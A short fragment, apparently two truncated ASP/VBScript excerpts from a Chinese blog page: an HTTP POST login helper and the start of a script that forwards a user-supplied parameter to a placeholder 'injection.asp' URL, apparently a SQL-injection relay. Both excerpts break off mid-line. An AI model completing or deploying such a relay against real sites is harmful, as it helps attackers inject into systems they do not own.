‘================================================== ‘函数名:PostHttpPage ‘作 用:登录 ‘================================================== Function PostHttpPage(RefererUrl,PostUrl,PostData) Dim xmlHttp Dim RetStr Set xmlHttp = CreateObjec
来源:职业欠钱&zj1244共用的public Blog 代码如下:<% Str=”xxxid=”&escape(request(“FK”)) Url=”http://xxx.chinaxxx.com/injection.asp” response.write PostData(Url,Str) Function PostData(PostUrl,PostCok) Dim Http Set Http = Server.CreateObject(“msxml2.serverX